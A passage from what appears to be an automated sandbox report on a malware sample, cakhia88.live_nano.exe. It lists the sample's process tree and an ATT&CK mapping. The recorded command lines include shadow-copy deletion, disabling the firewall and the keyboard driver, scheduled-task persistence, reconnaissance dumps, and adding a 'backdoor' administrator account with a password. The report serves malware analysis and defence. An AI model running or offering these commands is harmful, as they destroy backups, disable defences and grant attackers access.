  2⤵
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious use of AdjustPrivilegeToken
  PID:3352
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\cakhia88.live_nano.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2032
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\cakhia88.live_nano.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3860
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3852
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:5744
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Reads the TCP/IP host and domain name from the registry
    - Suspicious use of AdjustPrivilegeToken
    PID:672
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5112
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:2340
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5520
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:1072
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2840
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:540
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1392
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:2648
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5860
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    - Suspicious use of AdjustPrivilegeToken
    PID:2284
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\cakhia88.live_nano.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2376
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:1264
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:3760
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1208
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:5064
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:1248
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3696
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:2072
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1920
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:5560
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5092
- C:\Windows\system32\svchost.exe
  "C:\Windows\system32\svchost.exe"
  2⤵
  PID:3608
- C:\Windows\SYSTEM32\netsh.exe
  "netsh" wlan show profiles
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:4180
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4484
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" user backdoor P@ssw0rd123 /add
  2⤵
  - Creates a new local user account
  - Suspicious use of WriteProcessMemory
  PID:5308
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user backdoor P@ssw0rd123 /add
    3⤵
    - Creates a new local user account
    PID:5292
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" localgroup administrators backdoor /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:208
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup administrators backdoor /add
    3⤵
    PID:3780

C:\Users\Admin\AppData\Local\Temp\cakhia88.live_nano.exe
C:\Users\Admin\AppData\Local\Temp\cakhia88.live_nano.exe
1⤵
PID:4688

C:\Users\Admin\AppData\Local\Temp\cakhia88.live_nano.exe
C:\Users\Admin\AppData\Local\Temp\cakhia88.live_nano.exe
1⤵
PID:2208

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create Account

T1136

Local Account

T1136.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Debugger Evasion

T1622

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Debugger Evasion

T1622

Permission Groups Discovery

T1069

Local Groups

T1069.001

Process Discovery

T1057

Query Registry

T1012

System Information Discovery